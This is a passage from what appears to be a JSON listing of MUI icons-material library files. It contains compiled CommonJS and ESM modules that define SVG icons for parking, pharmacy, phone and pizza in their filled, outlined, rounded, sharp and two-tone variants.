    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalParkingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3H6v18h4v-6h3c3.31 0 6-2.69 6-6s-2.69-6-6-6m.2 8H10V7h3.2c1.1 0 2 .9 2 2s-.9 2-2 2\"\n}), 'LocalParkingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6v2h18v-2l-2-6 2-6zm-5 9h-3v3h-2v-3H8v-2h3V9h2v3h3z\"\n}), 'LocalPharmacy');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6v2h18v-2l-2-6 2-6zm-5 9h-3v3h-2v-3H8v-2h3V9h2v3h3z\"\n}), 'LocalPharmacy');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6v2h18v-2l-2-6 2-6zm-3.9 8.63L18.89 19H5.11l1.79-5.37.21-.63-.21-.63L5.11 7h13.78l-1.79 5.37-.21.63zM13 9h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'LocalPharmacyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6v2h18v-2l-2-6 2-6zm-3.9 8.63L18.89 19H5.11l1.79-5.37.21-.63-.21-.63L5.11 7h13.78l-1.79 5.37-.21.63zM13 9h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'LocalPharmacyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.89 5h-.53l.71-1.97c.24-.65-.1-1.37-.75-1.6-.65-.24-1.37.1-1.61.75L15.69 5H5.1C3.73 5 2.77 6.34 3.2 7.63L5 13l-1.79 5.37C2.77 19.66 3.74 21 5.1 21h13.78c1.36 0 2.33-1.34 1.9-2.63L19 13l1.78-5.37C21.21 6.34 20.25 5 18.89 5M15 14h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'LocalPharmacyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.89 5h-.53l.71-1.97c.24-.65-.1-1.37-.75-1.6-.65-.24-1.37.1-1.61.75L15.69 5H5.1C3.73 5 2.77 6.34 3.2 7.63L5 13l-1.79 5.37C2.77 19.66 3.74 21 5.1 21h13.78c1.36 0 2.33-1.34 1.9-2.63L19 13l1.78-5.37C21.21 6.34 20.25 5 18.89 5M15 14h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2H9c-.55 0-1-.45-1-1s.45-1 1-1h2v-2c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'LocalPharmacyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6v2h18v-2l-2-6 2-6zm-5 9h-3v3h-2v-3H8v-2h3V9h2v3h3z\"\n}), 'LocalPharmacySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6v2h18v-2l-2-6 2-6zm-5 9h-3v3h-2v-3H8v-2h3V9h2v3h3z\"\n}), 'LocalPharmacySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.11 19h13.78l-1.79-5.37-.21-.63.21-.63L18.89 7H5.11l1.79 5.37.21.63-.21.63zM8 12h3V9h2v3h3v2h-3v3h-2v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-2l-2-6 2-6V5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6zm3.9-8.63L5.11 7h13.78l-1.79 5.37-.21.63.21.63L18.89 19H5.11l1.79-5.37.21-.63zM11 17h2v-3h3v-2h-3V9h-2v3H8v2h3z\"\n}, \"1\")], 'LocalPharmacyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPharmacyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.11 19h13.78l-1.79-5.37-.21-.63.21-.63L18.89 7H5.11l1.79 5.37.21.63-.21.63zM8 12h3V9h2v3h3v2h-3v3h-2v-3H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-2l-2-6 2-6V5h-2.64l1.14-3.14L17.15 1l-1.46 4H3v2l2 6-2 6zm3.9-8.63L5.11 7h13.78l-1.79 5.37-.21.63.21.63L18.89 19H5.11l1.79-5.37.21-.63zM11 17h2v-3h3v-2h-3V9h-2v3H8v2h3z\"\n}, \"1\")], 'LocalPharmacyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.62 10.79c1.44 2.83 3.76 5.14 6.59 6.59l2.2-2.2c.27-.27.67-.36 1.02-.24 1.12.37 2.33.57 3.57.57.55 0 1 .45 1 1V20c0 .55-.45 1-1 1-9.39 0-17-7.61-17-17 0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1 0 1.25.2 2.45.57 3.57.11.35.03.74-.25 1.02z\"\n}), 'LocalPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.62 10.79c1.44 2.83 3.76 5.14 6.59 6.59l2.2-2.2c.27-.27.67-.36 1.02-.24 1.12.37 2.33.57 3.57.57.55 0 1 .45 1 1V20c0 .55-.45 1-1 1-9.39 0-17-7.61-17-17 0-.55.45-1 1-1h3.5c.55 0 1 .45 1 1 0 1.25.2 2.45.57 3.57.11.35.03.74-.25 1.02z\"\n}), 'LocalPhone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79zm9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1\"\n}), 'LocalPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79zm9.86 12.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM7.5 3H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1\"\n}), 'LocalPhoneOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'LocalPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.23 15.26-2.54-.29c-.61-.07-1.21.14-1.64.57l-1.84 1.84c-2.83-1.44-5.15-3.75-6.59-6.59l1.85-1.85c.43-.43.64-1.03.57-1.64l-.29-2.52c-.12-1.01-.97-1.77-1.99-1.77H5.03c-1.13 0-2.07.94-2 2.07.53 8.54 7.36 15.36 15.89 15.89 1.13.07 2.07-.87 2.07-2v-1.73c.01-1.01-.75-1.86-1.76-1.98\"\n}), 'LocalPhoneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21 15.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'LocalPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21 15.46-5.27-.61-2.52 2.52c-2.83-1.44-5.15-3.75-6.59-6.59l2.53-2.53L8.54 3H3.03C2.45 13.18 10.82 21.55 21 20.97z\"\n}), 'LocalPhoneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 17.47c-.88-.07-1.75-.22-2.6-.45l-1.19 1.19c1.2.41 2.48.67 3.8.75v-1.49zM6.99 7.59c-.24-.83-.39-1.7-.45-2.59h-1.5c.09 1.32.35 2.59.75 3.8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4c0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1m13.4 13.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79z\"\n}, \"1\")], 'LocalPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPhoneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 17.47c-.88-.07-1.75-.22-2.6-.45l-1.19 1.19c1.2.41 2.48.67 3.8.75v-1.49zM6.99 7.59c-.24-.83-.39-1.7-.45-2.59h-1.5c.09 1.32.35 2.59.75 3.8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4c0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1-1.24 0-2.45-.2-3.57-.57-.1-.04-.21-.05-.31-.05-.26 0-.51.1-.71.29l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1m13.4 13.02c.85.24 1.72.39 2.6.45v1.49c-1.32-.09-2.59-.35-3.8-.75zM6.54 5c.06.89.21 1.76.45 2.59l-1.2 1.2c-.41-1.2-.67-2.47-.76-3.79z\"\n}, \"1\")], 'LocalPhoneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizza.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2M7 7c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m5 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocalPizza');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizza.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2M7 7c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m5 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocalPizza');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2m0 15.92L5.51 6.36C7.32 4.85 9.62 4 12 4s4.68.85 6.49 2.36zM9 5.5c-.83 0-1.5.67-1.5 1.5S8.17 8.5 9 8.5s1.5-.67 1.5-1.5S9.82 5.5 9 5.5m1.5 7.5c0 .83.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5s-.68-1.5-1.5-1.5-1.5.67-1.5 1.5\"\n}), 'LocalPizzaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2m0 15.92L5.51 6.36C7.32 4.85 9.62 4 12 4s4.68.85 6.49 2.36zM9 5.5c-.83 0-1.5.67-1.5 1.5S8.17 8.5 9 8.5s1.5-.67 1.5-1.5S9.82 5.5 9 5.5m1.5 7.5c0 .83.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5s-.68-1.5-1.5-1.5-1.5.67-1.5 1.5\"\n}), 'LocalPizzaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C9.01 2 6.28 3.08 4.17 4.88c-.71.61-.86 1.65-.4 2.46l7.36 13.11c.38.68 1.36.68 1.74 0l7.36-13.11c.46-.81.31-1.86-.4-2.46C17.73 3.09 14.99 2 12 2M7 7c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m5 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocalPizzaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C9.01 2 6.28 3.08 4.17 4.88c-.71.61-.86 1.65-.4 2.46l7.36 13.11c.38.68 1.36.68 1.74 0l7.36-13.11c.46-.81.31-1.86-.4-2.46C17.73 3.09 14.99 2 12 2M7 7c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m5 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocalPizzaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2M7 7c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m5 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocalPizzaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2M7 7c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m5 8c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'LocalPizzaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.51 6.36 12 17.92l6.49-11.55C16.68 4.85 14.38 4 12 4s-4.68.85-6.49 2.36M9 8.5c-.83 0-1.5-.67-1.5-1.5S8.17 5.5 9 5.5s1.5.67 1.5 1.5S9.82 8.5 9 8.5m4.5 4.5c0 .83-.68 1.5-1.5 1.5-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2m0 15.92L5.51 6.36C7.32 4.85 9.62 4 12 4s4.68.85 6.49 2.36zM9 5.5c-.83 0-1.5.67-1.5 1.5S8.17 8.5 9 8.5s1.5-.67 1.5-1.5S9.82 5.5 9 5.5m1.5 7.5c0 .83.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5s-.68-1.5-1.5-1.5-1.5.67-1.5 1.5\"\n}, \"1\")], 'LocalPizzaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalPizzaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.51 6.36 12 17.92l6.49-11.55C16.68 4.85 14.38 4 12 4s-4.68.85-6.49 2.36M9 8.5c-.83 0-1.5-.67-1.5-1.5S8.17 5.5 9 5.5s1.5.67 1.5 1.5S9.82 8.5 9 8.5m4.5 4.5c0 .83-.68 1.5-1.5 1.5-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.43 2 5.23 3.54 3.01 6L12 22l8.99-16C18.78 3.55 15.57 2 12 2m0 15.92L5.51 6.36C7.32 4.85 9.62 4 12 4s4.68.85 6.49 2.36zM9 5.5c-.83 0-1.5.67-1.5 1.5S8.17 8.5 9 8.5s1.5-.67 1.5-1.5S9.82 5.5 9 5.5m1.5 7.5c0 .83.67 1.5 1.5 1.5.82 0 1.5-.67 